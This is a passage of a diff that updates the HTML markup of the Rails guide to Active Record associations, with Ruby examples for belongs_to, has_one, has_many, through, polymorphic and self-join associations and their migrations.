+ <li><a href="#_the_tt_belongs_to_tt_association">The <tt>belongs_to</tt> Association</a></li>
+
+ <li><a href="#_the_tt_has_one_tt_association">The <tt>has_one</tt> Association</a></li>
+
+ <li><a href="#_the_tt_has_many_tt_association">The <tt>has_many</tt> Association</a></li>
+
+ <li><a href="#_the_tt_has_many_through_tt_association">The <tt>has_many :through</tt> Association</a></li>
+
+ <li><a href="#_the_tt_has_one_through_tt_association">The <tt>has_one :through</tt> Association</a></li>
+
+ <li><a href="#_the_tt_has_and_belongs_to_many_tt_association">The <tt>has_and_belongs_to_many</tt> Association</a></li>
+
+ <li><a href="#_choosing_between_tt_belongs_to_tt_and_tt_has_one_tt">Choosing Between <tt>belongs_to</tt> and <tt>has_one</tt></a></li>
+
+ <li><a href="#_choosing_between_tt_has_many_through_tt_and_tt_has_and_belongs_to_many_tt">Choosing Between <tt>has_many :through</tt> and <tt>has_and_belongs_to_many</tt></a></li>
+
+ <li><a href="#_polymorphic_associations">Polymorphic Associations</a></li>
+
+ <li><a href="#_self_joins">Self Joins</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_tips_tricks_and_warnings">Tips, Tricks, and Warnings</a>
+ <ul>
+
+ <li><a href="#_controlling_caching">Controlling Caching</a></li>
+
+ <li><a href="#_avoiding_name_collisions">Avoiding Name Collisions</a></li>
+
+ <li><a href="#_updating_the_schema">Updating the Schema</a></li>
+
+ <li><a href="#_controlling_association_scope">Controlling Association Scope</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_detailed_association_reference">Detailed Association Reference</a>
+ <ul>
+
+ <li><a href="#_the_tt_belongs_to_tt_association_2">The <tt>belongs_to</tt> Association</a></li>
+
+ <li><a href="#_the_has_one_association">The has_one Association</a></li>
+
+ <li><a href="#_the_has_many_association">The has_many Association</a></li>
+
+ <li><a href="#_the_tt_has_and_belongs_to_many_tt_association_2">The <tt>has_and_belongs_to_many</tt> Association</a></li>
+
+ <li><a href="#_association_callbacks">Association Callbacks</a></li>
+
+ <li><a href="#_association_extensions">Association Extensions</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_changelog">Changelog</a>
+ </li>
+ </ol>
+ </div>
+
+ <div id="content">
+ <h1>A Guide to Active Record Associations</h1>
+ <div id="preamble">
<div class="sectionbody">
-<div class="para"><p>This guide covers the association features of Active Record. By referring to this guide, you will be able to:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>This guide covers the association features of Active Record. By referring to this guide, you will be able to:</p></div>
+<div class="ulist"><ul>
<li>
<p>
Declare associations between Active Record models
@@ -291,7 +123,7 @@ Use the methods added to your models by creating associations
</div>
<h2 id="_why_associations">1. Why Associations?</h2>
<div class="sectionbody">
-<div class="para"><p>Why do we need associations between models? Because they make common operations simpler and easier in your code. For example, consider a simple Rails application that includes a model for customers and a model for orders. Each customer can have many orders. Without associations, the model declarations would look like this:</p></div>
+<div class="paragraph"><p>Why do we need associations between models? Because they make common operations simpler and easier in your code. For example, consider a simple Rails application that includes a model for customers and a model for orders. Each customer can have many orders. Without associations, the model declarations would look like this:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -301,17 +133,15 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Now, suppose we wanted to add a new order for an existing customer. We'd need to do something like this:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>Now, suppose we wanted to add a new order for an existing customer. We&#8217;d need to do something like this:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@order</span> <span style="color: #990000">=</span> Order<span style="color: #990000">.</span>create<span style="color: #990000">(:</span>order_date <span style="color: #990000">=&gt;</span> Time<span style="color: #990000">.</span>now<span style="color: #990000">,</span> <span style="color: #990000">:</span>customer_id <span style="color: #990000">=&gt;</span> <span style="color: #009900">@customer</span><span style="color: #990000">.</span>id<span style="color: #990000">)</span>
-</tt></pre></div></div>
-<div class="para"><p>Or consider deleting a customer, and ensuring that all of its orders get deleted as well:</p></div>
+<pre><tt><span style="color: #009900">@order</span> <span style="color: #990000">=</span> Order<span style="color: #990000">.</span>create<span style="color: #990000">(:</span>order_date <span style="color: #990000">=&gt;</span> Time<span style="color: #990000">.</span>now<span style="color: #990000">,</span> <span style="color: #990000">:</span>customer_id <span style="color: #990000">=&gt;</span> <span style="color: #009900">@customer</span><span style="color: #990000">.</span>id<span style="color: #990000">)</span></tt></pre></div></div>
+<div class="paragraph"><p>Or consider deleting a customer, and ensuring that all of its orders get deleted as well:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -321,9 +151,8 @@ http://www.gnu.org/software/src-highlite -->
<span style="color: #009900">@orders</span><span style="color: #990000">.</span>each <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>order<span style="color: #990000">|</span>
order<span style="color: #990000">.</span>destroy
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="color: #009900">@customer</span><span style="color: #990000">.</span>destroy
-</tt></pre></div></div>
-<div class="para"><p>With Active Record associations, we can streamline these - and other - operations by declaratively telling Rails that there is a connection between the two models. Here's the revised code for setting up customers and orders:</p></div>
+<span style="color: #009900">@customer</span><span style="color: #990000">.</span>destroy</tt></pre></div></div>
+<div class="paragraph"><p>With Active Record associations, we can streamline these - and other - operations by declaratively telling Rails that there is a connection between the two models. Here&#8217;s the revised code for setting up customers and orders:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -335,30 +164,27 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
belongs_to <span style="color: #990000">:</span>customer
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>With this change, creating a new order for a particular customer is easier:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>With this change, creating a new order for a particular customer is easier:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@order</span> <span style="color: #990000">=</span> <span style="color: #009900">@customer</span><span style="color: #990000">.</span>orders<span style="color: #990000">.</span>create<span style="color: #990000">(:</span>order_date <span style="color: #990000">=&gt;</span> Time<span style="color: #990000">.</span>now<span style="color: #990000">)</span>
-</tt></pre></div></div>
-<div class="para"><p>Deleting a customer and all of its orders is <em>much</em> easier:</p></div>
+<pre><tt><span style="color: #009900">@order</span> <span style="color: #990000">=</span> <span style="color: #009900">@customer</span><span style="color: #990000">.</span>orders<span style="color: #990000">.</span>create<span style="color: #990000">(:</span>order_date <span style="color: #990000">=&gt;</span> Time<span style="color: #990000">.</span>now<span style="color: #990000">)</span></tt></pre></div></div>
+<div class="paragraph"><p>Deleting a customer and all of its orders is <em>much</em> easier:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@customer</span><span style="color: #990000">.</span>destroy
-</tt></pre></div></div>
-<div class="para"><p>To learn more about the different types of associations, read the next section of this Guide. That's followed by some tips and tricks for working with associations, and then by a complete reference to the methods and options for associations in Rails.</p></div>
+<pre><tt><span style="color: #009900">@customer</span><span style="color: #990000">.</span>destroy</tt></pre></div></div>
+<div class="paragraph"><p>To learn more about the different types of associations, read the next section of this Guide. That&#8217;s followed by some tips and tricks for working with associations, and then by a complete reference to the methods and options for associations in Rails.</p></div>
</div>
<h2 id="_the_types_of_associations">2. The Types of Associations</h2>
<div class="sectionbody">
-<div class="para"><p>In Rails, an <em>association</em> is a connection between two Active Record models. Associations are implemented using macro-style calls, so that you can declaratively add features to your models. For example, by declaring that one model <tt>belongs_to</tt> another, you instruct Rails to maintain Primary Key-Foreign Key information between instances of the two models, and you also get a number of utility methods added to your model. Rails supports six types of association:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>In Rails, an <em>association</em> is a connection between two Active Record models. Associations are implemented using macro-style calls, so that you can declaratively add features to your models. For example, by declaring that one model <tt>belongs_to</tt> another, you instruct Rails to maintain Primary Key-Foreign Key information between instances of the two models, and you also get a number of utility methods added to your model. Rails supports six types of association:</p></div>
+<div class="ulist"><ul>
<li>
<p>
<tt>belongs_to</tt>
@@ -390,9 +216,9 @@ http://www.gnu.org/software/src-highlite -->
</p>
</li>
</ul></div>
-<div class="para"><p>In the remainder of this guide, you'll learn how to declare and use the various forms of associations. But first, a quick introduction to the situations where each association type is appropriate.</p></div>
+<div class="paragraph"><p>In the remainder of this guide, you&#8217;ll learn how to declare and use the various forms of associations. But first, a quick introduction to the situations where each association type is appropriate.</p></div>
<h3 id="_the_tt_belongs_to_tt_association">2.1. The <tt>belongs_to</tt> Association</h3>
-<div class="para"><p>A <tt>belongs_to</tt> association sets up a one-to-one connection with another model, such that each instance of the declaring model "belongs to" one instance of the other model. For example, if your application includes customers and orders, and each order can be assigned to exactly one customer, you'd declare the order model this way:</p></div>
+<div class="paragraph"><p>A <tt>belongs_to</tt> association sets up a one-to-one connection with another model, such that each instance of the declaring model "belongs to" one instance of the other model. For example, if your application includes customers and orders, and each order can be assigned to exactly one customer, you&#8217;d declare the order model this way:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -400,13 +226,12 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
belongs_to <span style="color: #990000">:</span>customer
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p><span class="image">
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p><span class="image">
<img src="images/belongs_to.png" alt="belongs_to Association Diagram" title="belongs_to Association Diagram" />
</span></p></div>
<h3 id="_the_tt_has_one_tt_association">2.2. The <tt>has_one</tt> Association</h3>
-<div class="para"><p>A <tt>has_one</tt> association also sets up a one-to-one connection with another model, but with somewhat different semantics (and consequences). This association indicates that each instance of a model contains or possesses one instance of another model. For example, if each supplier in your application has only one account, you'd declare the supplier model like this:</p></div>
+<div class="paragraph"><p>A <tt>has_one</tt> association also sets up a one-to-one connection with another model, but with somewhat different semantics (and consequences). This association indicates that each instance of a model contains or possesses one instance of another model. For example, if each supplier in your application has only one account, you&#8217;d declare the supplier model like this:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -414,13 +239,12 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Supplier <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
has_one <span style="color: #990000">:</span>account
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p><span class="image">
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p><span class="image">
<img src="images/has_one.png" alt="has_one Association Diagram" title="has_one Association Diagram" />
</span></p></div>
<h3 id="_the_tt_has_many_tt_association">2.3. The <tt>has_many</tt> Association</h3>
-<div class="para"><p>A <tt>has_many</tt> association indicates a one-to-many connection with another model. You'll often find this association on the "other side" of a <tt>belongs_to</tt> association. This association indicates that each instance of the model has zero or more instances of another model. For example, in an application containing customers and orders, the customer model could be declared like this:</p></div>
+<div class="paragraph"><p>A <tt>has_many</tt> association indicates a one-to-many connection with another model. You&#8217;ll often find this association on the "other side" of a <tt>belongs_to</tt> association. This association indicates that each instance of the model has zero or more instances of another model. For example, in an application containing customers and orders, the customer model could be declared like this:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -428,8 +252,7 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
has_many <span style="color: #990000">:</span>orders
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
@@ -438,11 +261,11 @@ http://www.gnu.org/software/src-highlite -->
<td class="content">The name of the other model is pluralized when declaring a <tt>has_many</tt> association.</td>
</tr></table>
</div>
-<div class="para"><p><span class="image">
+<div class="paragraph"><p><span class="image">
<img src="images/has_many.png" alt="has_many Association Diagram" title="has_many Association Diagram" />
</span></p></div>
<h3 id="_the_tt_has_many_through_tt_association">2.4. The <tt>has_many :through</tt> Association</h3>
-<div class="para"><p>A <tt>has_many :through</tt> association is often used to set up a many-to-many connection with another model. This association indicates that the declaring model can be matched with zero or more instances of another model by proceeding <em>through</em> a third model. For example, consider a medical practice where patients make appointments to see physicians. The relevant association declarations could look like this:</p></div>
+<div class="paragraph"><p>A <tt>has_many :through</tt> association is often used to set up a many-to-many connection with another model. This association indicates that the declaring model can be matched with zero or more instances of another model by proceeding <em>through</em> a third model. For example, consider a medical practice where patients make appointments to see physicians. The relevant association declarations could look like this:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -461,12 +284,11 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Patient <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
has_many <span style="color: #990000">:</span>appointments
has_many <span style="color: #990000">:</span>physicians<span style="color: #990000">,</span> <span style="color: #990000">:</span>through <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>appointments
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p><span class="image">
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p><span class="image">
<img src="images/has_many_through.png" alt="has_many :through Association Diagram" title="has_many :through Association Diagram" />
</span></p></div>
-<div class="para"><p>The <tt>has_many :through</tt> association is also useful for setting up "shortcuts" through nested :<tt>has_many</tt> associations. For example, if a document has many sections, and a section has many paragraphs, you may sometimes want to get a simple collection of all paragraphs in the document. You could set that up this way:</p></div>
+<div class="paragraph"><p>The <tt>has_many :through</tt> association is also useful for setting up "shortcuts" through nested :<tt>has_many</tt> associations. For example, if a document has many sections, and a section has many paragraphs, you may sometimes want to get a simple collection of all paragraphs in the document. You could set that up this way:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -484,10 +306,9 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Paragraph <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
belongs_to <span style="color: #990000">:</span>section
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
<h3 id="_the_tt_has_one_through_tt_association">2.5. The <tt>has_one :through</tt> Association</h3>
-<div class="para"><p>A <tt>has_one :through</tt> association sets up a one-to-one connection with another model. This association indicates that the declaring model can be matched with one instance of another model by proceeding <em>through</em> a third model. For example, if each supplier has one account, and each account is associated with one account history, then the customer model could look like this:</p></div>
+<div class="paragraph"><p>A <tt>has_one :through</tt> association sets up a one-to-one connection with another model. This association indicates that the declaring model can be matched with one instance of another model by proceeding <em>through</em> a third model. For example, if each supplier has one account, and each account is associated with one account history, then the customer model could look like this:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -505,13 +326,12 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> AccountHistory <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
belongs_to <span style="color: #990000">:</span>account
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p><span class="image">
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p><span class="image">
<img src="images/has_one_through.png" alt="has_one :through Association Diagram" title="has_one :through Association Diagram" />
</span></p></div>
<h3 id="_the_tt_has_and_belongs_to_many_tt_association">2.6. The <tt>has_and_belongs_to_many</tt> Association</h3>
-<div class="para"><p>A <tt>has_and_belongs_to_many</tt> association creates a direct many-to-many connection with another model, with no intervening model. For example, if your application includes assemblies and parts, with each assembly having many parts and each part appearing in many assemblies, you could declare the models this way:</p></div>
+<div class="paragraph"><p>A <tt>has_and_belongs_to_many</tt> association creates a direct many-to-many connection with another model, with no intervening model. For example, if your application includes assemblies and parts, with each assembly having many parts and each part appearing in many assemblies, you could declare the models this way:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -523,14 +343,13 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Part <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
has_and_belongs_to_many <span style="color: #990000">:</span>assemblies
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p><span class="image">
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p><span class="image">
<img src="images/habtm.png" alt="has_and_belongs_to_many Association Diagram" title="has_and_belongs_to_many Association Diagram" />
</span></p></div>
<h3 id="_choosing_between_tt_belongs_to_tt_and_tt_has_one_tt">2.7. Choosing Between <tt>belongs_to</tt> and <tt>has_one</tt></h3>
-<div class="para"><p>If you want to set up a 1-1 relationship between two models, you'll need to add <tt>belongs_to</tt> to one, and <tt>has_one</tt> to the other. How do you know which is which?</p></div>
-<div class="para"><p>The distinction is in where you place the foreign key (it goes on the table for the class declaring the <tt>belongs_to</tt> association), but you should give some thought to the actual meaning of the data as well. The <tt>has_one</tt> relationship says that one of something is yours - that is, that something points back to you. For example, it makes more sense to say that a supplier owns an account than that an account owns a supplier. This suggests that the correct relationships are like this:</p></div>
+<div class="paragraph"><p>If you want to set up a 1-1 relationship between two models, you&#8217;ll need to add <tt>belongs_to</tt> to one, and <tt>has_one</tt> to the other. How do you know which is which?</p></div>
+<div class="paragraph"><p>The distinction is in where you place the foreign key (it goes on the table for the class declaring the <tt>belongs_to</tt> association), but you should give some thought to the actual meaning of the data as well. The <tt>has_one</tt> relationship says that one of something is yours - that is, that something points back to you. For example, it makes more sense to say that a supplier owns an account than that an account owns a supplier. This suggests that the correct relationships are like this:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -542,9 +361,8 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Account <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
belongs_to <span style="color: #990000">:</span>supplier
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The corresponding migration might look like this:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>The corresponding migration might look like this:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -568,8 +386,7 @@ http://www.gnu.org/software/src-highlite -->
drop_table <span style="color: #990000">:</span>accounts
drop_table <span style="color: #990000">:</span>suppliers
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
@@ -579,7 +396,7 @@ http://www.gnu.org/software/src-highlite -->
</tr></table>
</div>
<h3 id="_choosing_between_tt_has_many_through_tt_and_tt_has_and_belongs_to_many_tt">2.8. Choosing Between <tt>has_many :through</tt> and <tt>has_and_belongs_to_many</tt></h3>
-<div class="para"><p>Rails offers two different ways to declare a many-to-many relationship between models. The simpler way is to use <tt>has_and_belongs_to_many</tt>, which allows you to make the association directly:</p></div>
+<div class="paragraph"><p>Rails offers two different ways to declare a many-to-many relationship between models. The simpler way is to use <tt>has_and_belongs_to_many</tt>, which allows you to make the association directly:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -591,9 +408,8 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Part <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
has_and_belongs_to_many <span style="color: #990000">:</span>assemblies
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The second way to declare a many-to-many relationship is to use <tt>has_many :through</tt>. This makes the association indirectly, through a join model:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>The second way to declare a many-to-many relationship is to use <tt>has_many :through</tt>. This makes the association indirectly, through a join model:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -612,12 +428,11 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Part <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
has_many <span style="color: #990000">:</span>manifests
has_many <span style="color: #990000">:</span>assemblies<span style="color: #990000">,</span> <span style="color: #990000">:</span>through <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>manifests
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The simplest rule of thumb is that you should set up a <tt>has_many :through</tt> relationship if you need to work with the relationship model as an independent entity. If you don't need to do anything with the relationship model, it may be simpler to set up a <tt>has_and_belongs_to_many</tt> relationship (though you'll need to remember to create the joining table).</p></div>
-<div class="para"><p>You should use <tt>has_many :through</tt> if you need validations, callbacks, or extra attributes on the join model.</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>The simplest rule of thumb is that you should set up a <tt>has_many :through</tt> relationship if you need to work with the relationship model as an independent entity. If you don&#8217;t need to do anything with the relationship model, it may be simpler to set up a <tt>has_and_belongs_to_many</tt> relationship (though you&#8217;ll need to remember to create the joining table).</p></div>
+<div class="paragraph"><p>You should use <tt>has_many :through</tt> if you need validations, callbacks, or extra attributes on the join model.</p></div>
<h3 id="_polymorphic_associations">2.9. Polymorphic Associations</h3>
-<div class="para"><p>A slightly more advanced twist on associations is the <em>polymorphic association</em>. With polymorphic associations, a model can belong to more than one other model, on a single association. For example, you might have a picture model that belongs to either an employee model or a product model. Here's how this could be declared:</p></div>
+<div class="paragraph"><p>A slightly more advanced twist on associations is the <em>polymorphic association</em>. With polymorphic associations, a model can belong to more than one other model, on a single association. For example, you might have a picture model that belongs to either an employee model or a product model. Here&#8217;s how this could be declared:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -633,9 +448,8 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Product <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
has_many <span style="color: #990000">:</span>pictures<span style="color: #990000">,</span> <span style="color: #990000">:</span>as <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>imageable
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>You can think of a polymorphic <tt>belongs_to</tt> declaration as setting up an interface that any other model can use. From an instance of the <tt>Employee</tt> model, you can retrieve a collection of pictures: <tt>@employee.pictures</tt>. Similarly, you can retrieve <tt>@product.pictures</tt>. If you have an instance of the <tt>Picture</tt> model, you can get to its parent via <tt>@picture.imageable</tt>. To make this work, you need to declare both a foreign key column and a type column in the model that declares the polymorphic interface:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>You can think of a polymorphic <tt>belongs_to</tt> declaration as setting up an interface that any other model can use. From an instance of the <tt>Employee</tt> model, you can retrieve a collection of pictures: <tt>@employee.pictures</tt>. Similarly, you can retrieve <tt>@product.pictures</tt>. If you have an instance of the <tt>Picture</tt> model, you can get to its parent via <tt>@picture.imageable</tt>. To make this work, you need to declare both a foreign key column and a type column in the model that declares the polymorphic interface:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -654,9 +468,8 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
drop_table <span style="color: #990000">:</span>pictures
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>This migration can be simplified by using the <tt>t.references</tt> form:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>This migration can be simplified by using the <tt>t.references</tt> form:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -674,13 +487,12 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
drop_table <span style="color: #990000">:</span>pictures
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p><span class="image">
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p><span class="image">
<img src="images/polymorphic.png" alt="Polymorphic Association Diagram" title="Polymorphic Association Diagram" />
</span></p></div>
<h3 id="_self_joins">2.10. Self Joins</h3>
-<div class="para"><p>In designing a data model, you will sometimes find a model that should have a relation to itself. For example, you may want to store all employees in a single database model, but be able to trace relationships such as manager and subordinates. This situation can be modeled with self-joining associations:</p></div>
+<div class="paragraph"><p>In designing a data model, you will sometimes find a model that should have a relation to itself. For example, you may want to store all employees in a single database model, but be able to trace relationships such as manager and subordinates. This situation can be modeled with self-joining associations:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -689,14 +501,13 @@ http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Employee <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
has_many <span style="color: #990000">:</span>subordinates<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Employee"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>foreign_key <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"manager_id"</span>
belongs_to <span style="color: #990000">:</span>manager<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Employee"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>With this setup, you can retrieve <tt>@employee.subordinates</tt> and <tt>@employee.manager</tt>.</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>With this setup, you can retrieve <tt>@employee.subordinates</tt> and <tt>@employee.manager</tt>.</p></div>
</div>
<h2 id="_tips_tricks_and_warnings">3. Tips, Tricks, and Warnings</h2>
<div class="sectionbody">
-<div class="para"><p>Here are a few things you should know to make efficient use of Active Record associations in your Rails applications:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>Here are a few things you should know to make efficient use of Active Record associations in your Rails applications:</p></div>
+<div class="ulist"><ul>
<li>
<p>
Controlling caching
@@ -719,7 +530,7 @@ Controlling association scope
</li>
</ul></div>
<h3 id="_controlling_caching">3.1. Controlling Caching</h3>
-<div class="para"><p>All of the association methods are built around caching that keeps the result of the most recent query available for further operations. The cache is even shared across methods. For example:</p></div>
